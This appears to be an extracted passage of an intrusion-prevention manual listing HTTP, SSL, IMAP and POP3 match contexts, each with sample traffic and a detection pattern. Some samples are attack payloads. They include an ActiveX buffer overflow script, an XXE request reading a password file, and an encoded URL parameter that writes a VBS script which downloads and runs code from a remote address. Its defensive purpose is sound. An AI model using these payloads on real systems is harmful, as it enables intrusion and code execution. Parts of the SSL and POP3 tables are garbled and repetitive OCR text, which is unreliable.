http-text-html (ANY)	Matches the text/html data in an HTTP transaction. Example of header fields in HTTP request: HTTP/1.1 200 OK Content-Length: 319 Connection: close Content-Type: text/html; charset=ISO-8859-1 <html><head> <script language="vbscript"> dim a, mymy2 a="AA" Set mymy2= CreateObject("MSWebDVD.MSWebDVD.1") mymy2.AcceptParentalLevelChange False, "xc", a </script> <title>MSWebDVD ActiveX buffer overflow exploit</title> <title>MSWebDVD ActiveX buffer overflow exploit</center></h3> <body> <body><center>MS Web DVD ActiveX buffer overflow exploit</center></h3> </body></html> Example of context usage: Context: http-text-html pattern: ".*AcceptParentalLevelChange(\(\(\(\)\),\(\[\[\] \)+).*"</td></tr><tr><td>http-text-html-body
(ANY)</td><td>Matches the body of text/html data in an HTTP tranaction</td></tr><tr><td>http-text-html-head
(ANY)</td><td>Matches the header of text/html data in an HTTP transaction. Example of header fields in HTTP request: HTTP/1.1 200 OK Content-Length: 1360 Content-Type: text/html; charset=UTF-8 <html> <head> <title>Admin Password Change</title> <title>Admin Password Change</title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"/> <link href="style1.css" rel="stylesheet" type="text/css"/> </head> Example of context usage: Context: http-text-html-head pattern: ".* <title>Admin_Password_Change</title>.*"</html>

Table 47: Service Contexts: HTTP (Continued)

Context and Direction	Description Example of Contexts
http-text-html- script (ANY)	Matches the script tag of text/html data in an HTTP transaction. Example of header fields in HTTP request: HTTP/1.0 200 OK Content-type: text/html Content-Length: 300 Last-Modified: Fri, 15 Jul 2016 16:26:13 GMT <html style="display:flex;"> <head> <script> // function boom() { var n = document.getElementByld("test"); n.textContent = "Telus Security Labs \ud8c4\ud8b4"; alert(n.textContent); } </script> Example of context usage: Context: http-text-html-script pattern: ".*function boom.*"</head></html>
http-text-html-style (ANY)	Matches the style tag of text/html data in an HTTP transaction. Example of header fields in HTTP request: HTTP/1.1 200 OK Content-Length: 127 Keep-Alive: timeout=15, max=100 Content-Type: text/html; charset=iso-8859-1 <html> <head> <thead> <thead> <tyle> body { font-size: 1666666px; } <body> <body> <html> Example of context usage: Context: http-text-html-style pattern: ".*\ubody\s*{\u.*\ufont-size:\s*[1-9][0-9][0-9][0-9][0-9][0-9][0-9][0-9][0</html></body></body></tyle></thead></thead></head></html>

Table 47: Service Contexts: HTTP (Continued)

Context and Direction	Description Example of Contexts
http-text-html-tag (ANY)	Matches any tag inside text/html data in an HTTP transaction. Example of header fields in HTTP request: HTTP/1.1 200 OK Content-Length: 1360 Content-Type: text/html; charset=UTF-8 <html> <head> <head> <title>Admin Password Change</title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"/> <link href="style1.css" rel="stylesheet" type="text/css"/> </head> Example of context usage: Context: http-text-html-tag pattern: "charset=iso-8859-1"</head></html>
http-text-plain (ANY)	Matches the text/plain data in an HTTP transaction. Example of header fields in HTTP request: HTTP/1.1 200 OK Content-Length: 102400 Content-Type: text/plain; charset=ISO-8859-1 Standard Jet DBn.b .Ugr@?~1.y0cFNlb.7,(/.`.\ {6m.C%6.3y[x, *D. 1"f\$.g'DeF.xb.T} Example of context usage: Context: http-text-plain pattern: ".*\u(ParentldName ObjectId AOIndex PrimaryKey)\u([^\00\0376] \0377[^\0377] [^\0377]\(0377]\)[020-\\0376]).*"

Table 47: Service Contexts: HTTP (Continued)

Context and Direction	Description Example of Contexts
http-text-soap (ANY)	Matches the text/soap data in and HTTP transaction. Example of header fields in HTTP POST request: LOCK /webdav HTTP/1.1 Content-Type: text/xml Content-Length: 293 xml version="1.0"? REMOTE [<!ENTITY RemoteX SYSTEM "c:password.xt"]> <d:lockinfo xmlns:d="DAV:"> <d:lockscope><d:exclusive></d:exclusive></d:lockscope> <d:locktype><d:write></d:write></d:locktype> <d:bref> <d:bref> <remote> </remote></d:bref></d:bref></d:lockinfo> Example of context usage: Context: http-text-soap pattern: "REMOTE"

Table 47: Service Contexts: HTTP (Continued)

Context and Direction	Description Example of Contexts
http-text-xml (ANY)	Matches the tex/xml data in an HTTP transaction. Example of header fields in HTTP request: LOCK /webdav HTTP/1.1 Content-Type: text/xml Content-Length: 293 xml version="1.0"? REMOTE [<!ENTITY RemoteX SYSTEM "c:password.xt"]> <d:lockinfo xmlns:d="DAV:"> <d:lockscope><d:exclusive></d:exclusive></d:lockscope> <d:locktype><d:write></d:write></d:locktype> <d:href> <d:href> <remote> <remote> <remotex>&RemoteX</remotex> </remote></remote></d:href></d:href></d:lockinfo> Example of context usage: Context: http-text-xml pattern: ".* \[ENTITY\][^]*\[SYSTEM\][^>]*[:\/\\].*"
http-url (CTS)	Matches the URL in an HTTP request as it appears in the stream. Example of header fields in HTTP request: GET /Desktop.ini HTTP/1.1 Host: 192.168.160.129 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 Example of context usage: Context: http-url pattern: ".*\[desktop\.ini\]"

Table 47: Service Contexts: HTTP (Continued)

Context and Direction	Description Example of Contexts
http-url-parsed (CTS)	Matches the decoded, normalized URL in an HTTP request. Example of normalized URL field in HTTP request: GET //?search=%00{.save%7C%25TEMP%25%5CpcpWGhmTUiYgi.vbs%7CSet%20x=CreateObject(%22Microsoft.XMLHTT P%22)%0D%0AOn%20Error%20Resume%20Next%0D%0Ax.Open%20%22GET%22,%22http://192.168.200.1:8080/ G0HapSp%22,False%0D%0Alf%20Err.Number%20%3C%3E%200%20Then%0D%0Awsh.exit%0D%0AEnd%20lf%0D% 0Ax.Send%0D%0AExecute%20x.responseText.} HTTP/1.1 Host: 192.168.200.2 Example of context usage: Context: http-url-parsed pattern: ".*\.\[rmp\]"
http-url-parsed- param (CTS)	Matches the decoded, normalized URL in an HTTP request along with the CGI parameters, if any Example of header fields in HTTP request: GET /?search=%00{.save%7C%25TEMP%25%5CpcpWGhmTUiYgi.vbs%7CSet%20x=CreateObject(%22Microsoft.XMLHTT) P%22)%0D%0AOn%20Error%20Resume%20Next%0D%0Ax.Open%20%22GET%22,%22http://192.168.200.1:8080/ G0HapSp%22,False%0D%0Alf%20Err.Number%20%3C%3E%200%20Then%0D%0Awsh.exit%0D%0AEnd%20lf%0D% 0Ax.Send%0D%0AExecute%20x.responseText.] HTTP/1.1 Host: 192.168.200.2 Example of context usage: Context: http-url-parsed-param pattern: ".**%%[0-9a-fA-F][0-9a-fA-F].*"
http-url-parsed- param- parsed (CTS)	Matches the decoded, normalized URL in an HTTP request along with the decoded CGI parameters, if any
http-url-variable (CTS)	Matches each CGI variable in the URL of an HTTP GET request. Example of header fields in HTTP request: GET /Exoops/class/debug/highlight.php?file=c:\phpdev\www\Exoops\mainfile.php&line=151 HTTP/1.1 Host: www.google.com Example of context usage: Context: http-url-variable pattern: "\[file\]=([A-Za-z]: /).*'[; b"
http-url- variable- parsed (CTS)	Matches each decoded CGI variable in the URL of an HTTP GET request.

Table 47: Service Contexts: HTTP (Continued)

Context and Direction	Description Example of Contexts
http-variable (CTS)	Matches each CGI variable in an HTTP GET or POST request. Example of header fields in HTTP request: GET /Exoops/class/debug/highlight.php?file=c:\phpdev\www\Exoops\mainfile.php&line=151 HTTP/1.1 Host: www.google.com Example of context usage: Context: http-variable pattern: "file=c:.*"
http-variable-parsed (CTS)	Matches each decoded CGI variable in an HTTP GET or POST request.

Service Contexts: SSL

The table displays the security context details for SSL:

Table 48: Service Contexts: SSL

Context and Direction	Description Example of Contexts
ssl-cert- common- name (ANY)	Matches the common name attribute of the SSL certificate. Example of field in SSL transaction: Transport Layer Security TLSv1.2 Record Layer: Handshake Protocol: Certificate Content Type: Handshake (22) Version: TLS 1.2 (0x0303) Length: 2513 Handshake Protocol: Certificate Handshake Protocol: Certificate Handshake Type: Certificate (11) Length: 2509 Certificates Length: 2506 Certificates Length: 1187 Certificates (2506 bytes) Certificates (2506 bytes) Certificate Length: 1187 Certificate: 3082049f30820287a00302010202021000300d06092a8648 (id-at-commonName=*) signed Certificate version: v3 (2) serialNumber: 4096 signature (sha256WithRSAEncryption) Algorithm Id: 1.2.840.113549.1.1.11 (sha256WithRSAEncryption) issuer: rdnSequence (0) rdnSequence: 1 item (id-at-commonName=Server Self-Signed Root CA) RelativeDistinguishedName item (id-at-commonName=Server Self-Signed Root CA) RelativeDistinguishedName item (id-at-commonName=Server Self-Signed Root CA) Validity
	Example of context usage: Context: ssl-cert-common-name pattern: "Server"

Table 48: Service Contexts: SSL (Continued)

Description Example of Contexts Matches the organization name in the SSL certificate. Example of field in SSL transaction: Transport Layer Security The Form of Layer Handshake Protocol: Server Hello TLSvr Record Layer: Handshake Protocol: Certificate Content Type: Handshake (22) Version: TLS 10 (0x0301) Length: 80 Handshake Totocol: Certificate Length: 873 Certificates Syrospawer9300ce; id-at-organizationName=6gEf2xu_id-at-localityName=ipiM_id-at-organizationName=6gEf2xu_id-at-localityName=ipiM_id-at-stateOrP signedCertificate version: V3 (2) senial Number: 0 signedCertificate version:		
Cannot seem to see the seem of field in SSL transaction: Transport Layer Security TLSv1 Record Layer: Handshake Protocol: Server Hello TLSv1 Record Layer: Handshake Protocol: Certificate Content Type: Handshake (22) Version: TLS 10 (0x0301) Length: 880 Handshake Protocol: Certificate Handshake Type: Certificate Handshake Ty		
	organization-name	Example of field in SSL transaction: Transport Layer Security TLSv1 Record Layer: Handshake Protocol: Server Hello TLSv1 Record Layer: Handshake Protocol: Certificate Content Type: Handshake (22) Version: TLS 1.0 (0x0301) Length: 880 Handshake Protocol: Certificate Handshake Type: Certificate (11) Length: 876 Certificates Length: 873 Certificates Length: 873 Certificates Length: 873 Certificates Length: 876 Certificates Length: 870 Certificate Length: 870 Certificates Length: 870 Certificate Length: 870 Certificates Length: 870 Certificate Length: 870 Certificate Length: 870 Certificate Length: 870 Certificate Length: 870 Certificates Length: 870 Certificates Length: 870 Certificates Length: 870 Certificates Length: 870 Ce

Table 48: Service Contexts: SSL (Continued)

Context and Direction	Description Example of Contexts
ssl-cert- organizational-unit- name (ANY)	Matches the organizational unit name in the SSL certificate. Example of field in SSL transaction: Transport Layer Security TLSv1 Record Layer: Handshake Protocol: Server Hello TLSv1 Record Layer: Handshake Protocol: Certificate Content Type: Handshake (22) Version: TLS 10 (x0301) Length: 880 Handshake Protocol: Certificate Handshake Protocol: Certificate (11) Length: 876 Certificates Length: 873 Certificates Length: 873 Certificates (873 bytes) Certificates (873 bytes) Certificates 30820362308202cba00302010202010300006092a864886 (pkcs-9-at-ernailAddress=4iDK4D.id-at-organizationalUnitName=4xjz Srjo6Tt.id-at-organizationName=62E/zxu,id-at-localityName=jnM.id-at-stateOrP signedCertificate version: v3 (2) serial Number: 0 signature (nd5WithRSAEncryption) issuer: rdnSequence (0) rdnSequence: 7 items (pkcs-9-at-emailAddress=4iDK4D.id-at-country Name=JP) RDNSequence (item: 1 item (id-at-countryName=JP) RDNSequence item: 1 item (id-at-to-countryName=JP) RDNSequence item: 1 item (id-at-to-countryName=JP) RDNSequence item: 1 item (id-at-localityName=jnM) RDNSequence item: 1 item (id-at-localityName=jnM) RDNSequence item: 1 item (id-at-localityName=jnM) RDNSequence item: 1 item (id-at-organizationName=gEf2xu) Id: 2.5.4.10 (id-at-organizationName) Directorystring: printableString (1) printableString: gEf2xu RDNSequence item: 1 item (id-at-organizationName=6o2XroBpAwP930Ce) RDNSequence item: 1 item (id-at-organizationName=60

Table 48: Service Contexts: SSL (Continued)

Context and Direction	Description Example of Contexts
ssl-certificate (ANY)	Matches the entire SSL certificate content. Example of field in SSL transaction: [2 Reassembled TCP Segments (2518 bytes): #6(1377), #8(1141)] Transport Layer Security TLSVI.2 Record Layer: Handshake Protocol: Certificate Content Type: Handshake Protocol: Certificate Content Type: Handshake (22) Version: TLS 1.2 (0x0303) Length: 2513 Handshake Protocol: Certificate Handshake Type: Certificate (11) Length: 2509 Certificates Length: 2506 Certificates (2506 bytes) Certificates (2506 bytes) Certificate: 3082049f30820287a00302010202021000300d06092a8648 (id-at-commonName=*) signedCertificate algorithmIdentifier (sha256WithRSAEncryption) Padding: 0 encrypted: 50f72b4632fc6bd298fccac50988438748690el0dcd69935 Certificate Length: 1313 Certificate: 3082051d30820305a0030201020209008521456c0c768201 (id-at-commonName=Server Self-Signed Root CA) Example of context usage: Context: ssl-certificate pattern: "\x 3082049f \x"
ssl-change-cipher- spec (ANY)	Matches the Change-Cipher-Spec Message Content

Table 48: Service Contexts: SSL (Continued)

Context and Direction	Description Example of Contexts
ssl-client-hello (CTS)	Matches SSL client hello message content. Example of field in SSL transaction: Transport Layer Security TLSvI.2 Record Layer: Handshake Protocol: Client Hello Content Type: Handshake (22) Version: TLS 1.0 (0x0301) Length: 255 Handshake Protocol: Client Hello Handshake Type: Client Hello (1) Length: 251 Version: TLS 1.2 (0x0303) Random: 58c7f7a0093eb4c6b69250d10a6246e4e4ecl7ed9c3c5f33 Session ID Length: 0 Cipher Suites Length: 122 Cipher Suites (61 suites) Compression Methods Length: 1 Compression Methods (1 method) Extensions Length: 88 Extension: server_name (len=17) Extension: ec_point_formats (len=4) Extension: session_ticket (len=0) Extension: signature_algorithms (len=34) Extension: heartbeat (len=1)
	Example of context usage: Context: ssl-client-hello pattern: "session_ticket"
ssl-client-key- exchange (CTS)	Matches SSL client key exchange message content. Example of field in SSL transaction: Transport Layer Security TLSvI Record Layer: Handshake Protocol: Client Key Exchange Content Type: Handshake (22) Version: TLS 1.0 (0x0301) Length: 134 Handshake Protocol: Client Key Exchange Handshake Type: Client Key Exchange Handshake Type: Client Key Exchange (16) Length: 130 RSA Encrypted PreMaster Secret Encrypted PreMaster length: 128 Encrypted PreMaster: 0b40bf8el0c8db63delcd8f5e5ba8b2411a0d7b5c05509f9 TLSv1 Record Layer: Change Cipher Spec Protocol: Change Cipher Spec TLSv1 Record Layer: Handshake Protocol: Encrypted Handshake Message
	Context: ssl-client-key-exchange pattern: "\[DigiNotar.*CA\].* "

Table 48: Service Contexts: SSL (Continued)

Context and Direction	Description Example of Contexts
ssl-client-version (CTS)	Matches the client SSL version. Example of field in SSL transaction: Transport Layer Security TLSv1.2 Record Layer: Handshake Protocol: Client Hello Content Type: Handshake (22) Version: TLS 1.0 (0x0301) Length: 255 Handshake Protocol: Client Hello Handshake Type: Client Hello (1) Length: 251 Version: TLS 1.2 (0x0303) Random: 58c7f7a0093eb4c6b69250d10a6246e4e4ec17ed9c3c5f33 Session ID Length: 0 Example of context usage: Context: ssl-client-version pattern: "\x33\x2E\x33"
ssl-selected- cipher- suite (STC)	Matches the selected cipher suite in the server hello message. Example of field in SSL transaction: Transport Layer Security TLSvl.2 Record Layer: Handshake Protocol: Server Hello Content Type: Handshake (22) Version: TLS 1.2 (0x0303) Length: 66 Handshake Protocol: Server Hello Handshake Type: Server Hello (2) Length: 62 Version: TLS 1.2 (0x0303) Random: 58c28albeeaa9dfa4ef2b0c2a26224a6f3c5f7eb85a0a07e Session ID Length: 0 Cipher Suite: TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (0xc02f) Compression Method: null (0) Extensions Length: 22 Example of context usage: Context: ssl-selected-cipher-suite pattern: "\x c02f \x"

Table 48: Service Contexts: SSL (Continued)

Context and Direction	Description Example of Contexts
ssl-server-hello (STC)	Matches SSL server hello message content. Example of field in SSL transaction: Transport Layer Security TLSvI.2 Record Layer: Handshake Protocol: Server Hello Content Type: Handshake (22) Version: TLS 1.2 (0x0303) Length: 66 Handshake Protocol: Server Hello Handshake Type: Server Hello (2) Length: 62 Version: TLS 1.2 (0x0303) Random: 58c28albeeaa9dfa4ef2b0c2a26224a6f3c5f7eb85a0a07e Session ID Length: 0 Cipher Suite: TLS _ECDHE_RSA_WITH_AES_128_GCM_SHA256 (0xc02f) Compression Method: null (0) Extensions Length: 22 Extension: renegotiationjnfo (len=1) Extension: ec_point_formats (len=4) Extension: session_ticket (len=0) Extension: heartbeat (len=1) Example of context usage: Context: ssl-server-hello pattern: "session_ticket"
ssl-server- key- exchange (STC)	Matches SSL server key exchange message content. Example of field in SSL transaction: Transport Layer Security TLSvI.2 Record Layer: Handshake Protocol: Server Key Exchange Content Type: Handshake (22) Version: TLS 1.2 (0x0303) Length: 333 Handshake Protocol: Server Key Exchange Handshake Type: Server Key Exchange Handshake Type: Server Key Exchange (12) Length: 329 EC Diffie-Hellman Server Params Example of context usage: Context: ssl-server- key-exchange pattern: ".*\x01000000ff\x.*"

Table 48: Service Contexts: SSL (Continued)

Context and Direction	Description Example of Contexts
ssl-server- version (STC)	Matches the SSL server version. Example of field in SSL transaction: Transport Layer Security TLSv1.2 Record Layer: Handshake Protocol: Server Hello Content Type: Handshake (22) Version: TLS 1.2 (0x0303) Length: 66 Handshake Protocol: Server Hello Handshake Type: Server Hello (2) Length: 62 Version: TLS 1.2 (0x0303) Random: 58c28albeeaa9dfa4ef2b0c2a26224a6f3c5f7eb85a0a07e Example of context usage: Context: ssl-server-version pattern: "\x33\x2E\x33"

Email Contexts

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These attack objects and groups are designed to detect known attack patterns and protocol anomalies within the network traffic. You can configure attack objects and groups for email as match conditions in IDP policy rules.

Service Contexts: IMAP

The table displays the security context details for IMAP:

Table 49: Service Contexts: IMAP

Context and	Description
Direction	Example of Contexts
imap-append (CTS)	Matches the e-mail contents in an IMAP append message.
	Example of field in IMAP transaction: Internet Message Access Protocol Line [truncated]: a002 APPEND &***Minimum transmittent transmi
imap-append-line (CTS)	Matches arguments of IMAP Append command line in an IMAP session. Example of field in IMAP transaction: Internet Message Access Protocol Line [truncated]: 12 APPEND inbox test (1) " 1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Table 49: Service Contexts: IMAP (Continued)

Context and Direction	Description Example of Contexts
imap-authenticate (CTS)	Matches arguments of IMAP Authenticate command in an IMAP session. Example of field in IMAP transaction: Internet Message Access Protocol Line: a001 authenticate cram-md5\r\n Request: a001 authenticate cram-md5 Request Tag: a001 Request Command: authenticate
	Example of context usage: Context: imap-authenticate pattern: "cram-md5"
imap-banner-(STC)	Matches arguments of the fist untagged OK response from an IMAP session. Example of field in IMAP transaction: Internet Message Access Protocol Line: * OK Domino IMAP4 Server Release 9.0.1 ready Mon, 29 May 2017 12:22:56 -0400\r\n Example of context usage: Context: imap-banner pattern: "Server"
imap-command (CTS)	Matches each IMAP command name in an IMAP session. Example of field in IMAP transaction: Internet Message Access Protocol Line: a001 LOGIN "admin vat" foobar\r\n Request: a001 LOGIN "admin vrt" foobar Request Tag: a001 Request Command: LOGIN Request Username: admi Request Password: rt Example of context usage: Context: imap-command pattern: "LOGIN"

Table 49: Service Contexts: IMAP (Continued)

Context and Direction	Description Example of Contexts
imap-command-line (CTS)	Matches each IMAP command name and arguments in an IMAP session. Example of field in IMAP transaction: Internet Message Access Protocol Line: a001 LOGIN "admin vrt" foobar\r\n Request: a001 LOGIN "admin vrt" foobar Request Tag: a001 Request Command: LOGIN Request Username: admi Request Password: rt Example of context usage: Context: imap-command pattern: "LOGIN"
imap-copy (CTS)	Matches arguments of IMAP Copy command in an IMAP session.
imap-create (CTS)	Matches arguments of IMAP Create command in an IMAP session.
imap-delete (CTS)	Matches arguments of IMAP Delete command in an IMAP session. Example of field in IMAP transaction: Internet Message Access Protocol Line [truncated]: 2 delete "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Table 49: Service Contexts: IMAP (Continued)

Context and Direction	Description Example of Contexts
imap-deleteacl (CTS)	Matches arguments of IMAP DeleteACL command in an IMAP session.
imap-examine (CTS)	Matches arguments of IMAP Examine command in an IMAP session.
imap-fetch (CTS)	Matches arguments of IMAP Fetch command in an IMAP session.
	Example of field in IMAP transaction:
	Internet Message Access Protocol
	Line [truncated]: 3 FETCH 1
	(BODY[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	Example of context usage: Context: imap-fetch pattern: "AAAAA"
imap-getacl (CTS)	Matches arguments of IMAP GetACL command in an IMAP session.
imap-list (CTS)	Matches arguments of IMAP List/RList command in an IMAP session.
	Example of field in IMAP transaction:
	Internet Message Access Protocol
	Line [truncated]: a002 LIST &tttttttttttttttttttttttttttttttttttt

	Example of context usage: Context: imap-list pattern: "&tatty"
imap-listrights (CTS)	Matches arguments of IMAP ListRights command in an IMAP session.

Table 49: Service Contexts: IMAP (Continued)

Context and Direction	Description Example of Contexts
imap-login (CTS)	Matches arguments of IMAP Login command in an IMAP session. Example of field in IMAP transaction: Internet Message Access Protocol Line: a001 LOGIN "admin vrt" foobar\r\n
	Example of context usage: Context: imap-login pattern: "admin"
imap-Isub (CTS)	Matches arguments of IMAP LSUB/RLSUB command in an IMAP session. Example of field in IMAP transaction: Internet Message Access Protocol Line [truncated]: j747 LSUB Y tHQY0449ME0QraqvVrOyPsg2iDA1cN7gSkaElzd3Gsvuh79Q44HHAgTOAkA7uZDz8SGl6D5l6S8QUBNkGtk BwECoVcUjUORXb6WrYsE1ebBx7o69tz2Rq9awGwsQHvZZcyHVOrjdmpteKdl42WocMKEK2UCARmDAN7s AA5durhInwMwmhEJUqoMUjIMdigjselYr7GvYUxwSmhXO Request [truncated]: j747 LSUB Y tHQY0449ME0QraqvVrOyPsg2iDA1cN7gSkaElzd3Gsvuh79Q44HHAgTOAkA7uZDz8SGl6D5l6S8QUBNkGtk BwECoVcUjUORXb6WrYsE1ebBx7o69tz2Rq9awGwsQHvZZcyHVOrjdmpteKdl42WocMKEK2UCARmDAN7s AA5durhInwMwmhEJUqoMUjIMdigjselYr7GvYUxwSm Request Tag: j747 Request Command: LSUB Example of context usage: Context: imap-lsub pattern: "YtHQY"
imap-mailbox (CTS)	Matches each mailbox name in an IMAP session. Example of field in IMAP transaction: Internet Message Access Protocol Line: 2 SELECT "INBOX" \r\n Request: 2 SELECT "INBOX" Request Tag: 2 Request Command: SELECT Request Folder: "INBOX" Example of context usage: Context: imap-mailbox pattern: "INBOX"

Table 49: Service Contexts: IMAP (Continued)

Context and Direction	Description Example of Contexts
imap-myrights (CTS)	Matches arguments of IMAP MyRights command in an IMAP session.
imap-rename (CTS)	Matches arguments of IMAP Rename command in an IMAP session.
imap-search (CTS)	Matches arguments of IMAP Search command in an IMAP session. Example of field in IMAP transaction: Internet Message Access Protocol Line [truncated]: 4 SEARCH ON AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
imap-select (CTS)	Matches arguments of IMAP Select command in an IMAP session. Example of field in IMAP transaction: Internet Message Access Protocol Line: 2 SELECT "INBOX" \r\n Request: 2 SELECT "INBOX" Request Tag: 2 Request Command: SELECT Request Folder: "INBOX" Example of context usage: Context: imap-select pattern: "INBOX"
imap-setacl (CTS)	Matches arguments of IMAP SetACL command in an IMAP session.

Table 49: Service Contexts: IMAP (Continued)

Context and Direction	Description Example of Contexts
imap-status (CTS)	Matches arguments of IMAP Status command in an IMAP session. Example of field in IMAP transaction: Internet Message Access Protocol Line [truncated]: 2 STATUS AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
imap-store (CTS)	Matches arguments of IMAP Store command in an IMAP session.
imap-subscribe (CTS)	Matches arguments of IMAP Subscribe command in an IMAP session.
imap-uid (CTS)	Matches arguments of IMAP UID command in an IMAP session.
imap-unsubscribe (CTS)	Matches arguments of IMAP Unsubscribe command in an IMAP session.

Table 49: Service Contexts: IMAP (Continued)

Context and Direction	Description Example of Contexts
imap-user (CTS)	Matches the IMAP user name in an IMAP session. Example of field in IMAP transaction: Internet Message Access Protocol Line: a001 LOGIN "admin vrt" foobar\r\n Request: a001 LOGIN "admin vrt" foobar Request Tag: a001 Request Command: LOGIN Request Username: admi Request Password: rt Example of context usage: Context: imap-status pattern: "admi"

Service Contexts: PoP3

The table displays the security context details for PoP3:

Table 50: Service Contexts: POP3

Context and Direction	Description Example of Contexts
pop3-apop (CTS)	Matches the arguments of the APOP command in a POP3 session.

Table 50: Service Contexts: POP3 (Continued)

Context and Direction	Description Example of Contexts
pop3-auth (CTS)	Matches the arguments of the AUTH command in a POP3 session. Example of field in POP3 transaction: AUTH "^1
pop3-command (CTS)	Matches each of the POP3 command names in a POP3 session. Example of field in POP3 transaction: USER test +0K Password required for test. PASS blarg Example of context usage: Context: pop3-command pattern: "USER"
pop3-command-line (CTS)	Matches each command line in a POP3 session. Example of field in POP3 transaction: USER test +0K Password required for test. PASS blarg Example of context usage: Context: pop3-command-line pattern: "test"
pop3-data-line (STC)	Matches lines in the e-mail body of an POP3 transaction.

Table 50: Service Contexts: POP3 (Continued)

Context and Direction	Description Example of Contexts
pop3-data-text- html (STC)	Matches lines in a text/html MIME attachment in the body of an POP3 transaction. Example of field in POP3 transaction: Content-Type: text/html; charset="iso-8859-l" Content-Transfer-Encoding: quoted-printable HTML PUBLIC "-//W3C//DTD HTML 4.0Transitional//EN" <htmlxhead> <meta =="" charset="utf-8" content='3D"text/html;' http-equiv="3DContent-Type"/> <meta 6.00.2737.800"="" content='3D"MSHTML' name="3DGENERATOR"/> <stylex style=""> <head> <head> <bo .exe"x="" bo="" dyx="" dyxl="" e="" ex="" f="" htm="" l="" ram="" src='3D"foobar'></bo></head></head></stylex></htmlxhead>
	Example of context usage: Context: pop3-data-text-html pattern: ".*<\[iframe\][^>]*\[src=\][^>]+\.\[exe\][^>]*>.*"
pop3-data-text- plain (STC)	Matches lines in a text/plain MIME attachment in the body of an POP3 transaction. Example of field in POP3 transaction: Content-Type: text/plain; charset="us-ascii"; format=flowed &It_file://AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
	Example of context usage: Context: pop3-data-text-plain pattern: ".* <file: [^\r\n][^<="" td=""></file:>
pop3-dele (CTS)	Matches the arguments of the DELE command in a POP3 session. Example of field in POP3 transaction: DELE 1 +0K Message 1 has been deleted. QUIT Example of context usage: Context: pop3-dele pattern: "1"

Table 50: Service Contexts: POP3 (Continued)

Context and Direction	Description Example of Contexts
pop3-header	Matches pop3 header Example of field in POP3 transaction: RETR 1 +0K 823 octets Message-ID: & trCxf2bPveF3DwTvoSVOrYAoB8sBi45x60KG3Gopol_Nlfs5gYmVJhDwz8ry>, Date: Thu, 21 Mar 201317:47:10+0530 From: LM leW2eTAG HyOcicdTH EeQZQF NI @ RfdJ kklF.gov MIME-Version: 1.0 Example of context usage: Context: pop3-header pattern: "message-id:_<[A-Za-z0-9]+>"
pop3-header- comment (STC)	Matches the Comment: header of an e-mail in a POP3 transaction.
pop3-header-from (STC)	Matches the From: header of an e-mail in a POP3 transaction. Example of field in POP3 transaction: RETR 1 +0K 823 octets Message-ID: <_rCxf2bPveF3DwTvoSVOrYAoB8sBi45x60KG3Gopol_Nlfs5gYmVJhDwz8ry> Date: Thu, 21 Mar 201317:47:10+0530 From: LM leW2eTAG HyOcicdTH EeQZQF NI @ RfdJ kklF.gov MIME-Version: 1.0 Example of context usage: Context: pop3-header-from pattern: "LMI"
pop3-header-line (STC)	Matches each header line of an e-mail in POP3 transaction.

Table 50: Service Contexts: POP3 (Continued)

Context and Direction	Description Example of Contexts
pop3-header-reply- to (STC)	Matches the Reply-To: header of an e-mail in a POP3 transaction. Example of field in POP3 transaction: From: james@american.secteam.juniper.net Message-ID: <002c01c49791\$51c036a0\$de069d0a@yakima> Reply-To: <james@american.secteam.juniper.net>, "james"<="" "sample"="" <sample@american.secteam.juniper.net>,="" context="" context:="" dsdsad="" example="" of="" pattern:="" pop3-header-reply-to="" subject:="" td="" to:="" usage:=""></james@american.secteam.juniper.net>,>
pop3-header- sender (STC)	Matches the Sender: header of an e-mail in a POP3 transaction.
pop3-header- subject (STC)	Matches the Subject: header of an e-mail in a POP3 transaction Example of field in POP3 transaction: Message-ID: &\textsup \textsup \tex
pop3-header-to (STC)	Matches the To: header of an e-mail in a POP3 transaction. Example of field in POP3 transaction: Message-ID: &\textit{lt_rCxf2bPveF3DwTvoSVOrYAoB8sBi45x60KG3GopoLNlfs5gYmVJhDwz8ry>} Date: Thu, 21 Mar 201317:47:10+0530 From: \textit{LMleW2eTAGHyOcicdTHEeQZQFNl@RfdJkklF.gov}} MIME-Version: 1.0 To: vJZ7wkNhktgef7D6TJOSvyODKhWa58mVez@cZzCzguEzqHPYsqtFb.edu Subject: 6qylcdDATL8QbKNglnrceaZn7XKBcxSWV9K4 Example of context usage: Context: pop3-header-to pattern: "vJZ7"

Table 50: Service Contexts: POP3 (Continued)

Context and Direction	Description Example of Contexts
pop3-header-x-field (STC)	Matches each extended header (that start with X-) of an e-mail in a POP3 transaction. Example of field in POP3 transaction: Content-Type: multipart/alternative: boundary="—=_NextPart_000_0029_01C49756.A5367E10" X-Priority: 3 X-MSMail-Priority: Normal Example of context usage: Context: pop3-header-x-field pattern: "3"
pop3-header-x- mailer (STC)	Matches the X-Mailer: header of an e-mail in a POP3 transaction. Example of field in POP3 transaction: boundary="=_NextPart_000_0029_01C49756.A5367E10" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2741.2600 Example of context usage: Context: pop3-header-x-mailer pattern: "Outlook"
pop3-list (CTS)	Matches the arguments of the LIST command in a POP3 session. Example of field in POP3 transaction: LIST hia fi -ERR Message 0 does not exist. Example of context usage: Context: pop3-list pattern: "f1"

Table 50: Service Contexts: POP3 (Continued)

Context and Direction	Description Example of Contexts
pop3-mime- content-data (STC)	Matches the first 64 bytes of the base-64 decoded MIME attachment data in a POP3 session. Example of field in POP3 transaction: Content-Type: application/octet-stream; name=mNTNAhB21nBFCb.Wmf) Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="mNTNAhB21nBFCb.Wmf" AQAJAAADEQAAAAAAA/////xMQMgQWAAMAAAAAAA== -184295621176442192310324- Example of context usage: Context: pop3-mime-content-data pattern: "AQA"
